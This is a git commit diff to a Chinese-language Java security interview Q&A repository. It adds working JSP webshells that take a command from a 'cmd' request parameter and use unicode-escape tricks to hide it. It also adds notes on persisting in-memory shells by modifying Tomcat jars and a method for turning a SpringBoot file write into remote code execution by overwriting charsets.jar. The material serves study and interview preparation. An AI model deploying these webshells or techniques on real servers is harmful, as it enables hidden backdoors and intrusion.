spring fatjar

4ra1n · 4ra1n · commit 7ab92648837f · 2022-05-26T22:30:37.000+08:00
diff --git a/README.md b/README.md
@@ -16,9 +16,9 @@
 
 ## 分类
 
-当前问题总数：102
+当前问题总数：104
 
-[Java本身的安全问题 - 25个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
+[Java本身的安全问题 - 26个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
 
 [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
 
@@ -28,7 +28,7 @@
 
 [Tomcat相关的安全问题 - 0个](https://github.com/4ra1n/JavaSecInterview/tree/master/tomcat)
 
-[Spring系列组件相关的安全问题 - 14个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring)
+[Spring系列组件相关的安全问题 - 15个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring)
 
 [Spring Env相关的利用方式 - 11个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring-env)
 
@@ -64,6 +64,8 @@ https://paper.seebug.org/1689/
 
 https://www.anquanke.com/post/id/151398
 
+https://landgrey.me/
+
 ## Star
 
 ![](https://starchart.cc/4ra1n/JavaSecInterview.svg)
diff --git a/java/README.md b/java/README.md
@@ -322,4 +322,36 @@ jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.Server
 
 （4）自定义类加载器绕过
 
-（5）通过`JNI`调用`native`方法绕过
+（5）通过`JNI`调用`native`方法绕过
+
+
+
+### 是否了解利用unicode特性的JSP Webshell绕过（★★★）
+
+编译`JSP`时其中的`unicode`会进行解码，其中`\u000a`变成换行，导致后面的`exec`可以执行
+
+```java
+<%
+  Runtime.getRuntime().
+  //\u000aexec
+  (request.getParameter("cmd"));
+%>
+```
+
+加入转义符将会变成简单的注释，这将变成普通的`webshell`
+
+```java
+<%
+  Runtime.getRuntime().
+  //\\u000axxxxxx
+  exec(request.getParameter("cmd"));
+%>
+```
+
+一种特殊的方式（原理较复杂暂不分析）
+
+```java
+<%
+  Runtime.getRuntime().
+  //\u000d\uabcdexec(request.getParameter("cmd"));
+%>
diff --git a/memshell/README.md b/memshell/README.md
@@ -42,11 +42,11 @@ Java Agent内存马：这种方式不仅限于`Tomcat`或`Spring`
 
 ### 内存马如何持久化（★★★）
 
-内存马持久化这个问题必须要往本地写文件
+内存马持久化这个问题必须要往本地写文件，可以利用`addShutDownHook`方法在`JVM`退出时写文件
 
-一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar，在`doFilter`等位置插入恶意字节码
+一般来说思路是写入依赖`Jar`中，例如`catalina.jar`中
 
-4ra1n师傅提到的修改Tomcat的Lib也是一种手段，在默认开启的`WsFilter`中修改代码
+4ra1n师傅提到的修改Tomcat的Lib也是一种手段，在默认开启的`WsFilter`中的`doFilter`方法中修改代码
 
 
 
diff --git a/spring/README.md b/spring/README.md
@@ -128,4 +128,17 @@ spring.cloud.function.routing-expression: SPEL
 
 ### 谈谈Spring RCE的修复（★★★）
 
-当`beanClass`为`Class`时只允许参数名为`name`并以`Name`结尾且属性返回类型不能为`Classloader`及`Classloader`子类
+当`beanClass`为`Class`时只允许参数名为`name`并以`Name`结尾且属性返回类型不能为`Classloader`及`Classloader`子类
+
+
+
+### SpringBoot如果有任意文件写入如何RCE（★★★★）
+
+由于`SpringBoot`是`FarJar`形式的一个`Jar`包，因此无法在其运行的时候往`classpath`中增加文件，另外`SpringBoot`的应用通常不解析`JSP`等模板文件，所以传统的上传`webshell`以`RCE`的思路是无效的
+
+思路是覆盖了`JAVA_HOME`中没有被加载的系统`Jar`文件，例如`charsets.jar`文件，然后想办法在运行中加载该`jar`文件
+
+难点在于可控的主动类初始化，主要的两种实际利用是：
+
+- 利用`Accept: text/html;charset=GBK`请求头触发`Spring`中的`Charset.forName`方法
+- 使用`Fastjson`的`1.2.76`版本通过普通的`JSON`即可触发`Charset.forName`方法
diff --git a/tomcat/README.md b/tomcat/README.md
@@ -0,0 +1,3 @@
+## Tomcat
+
+todo
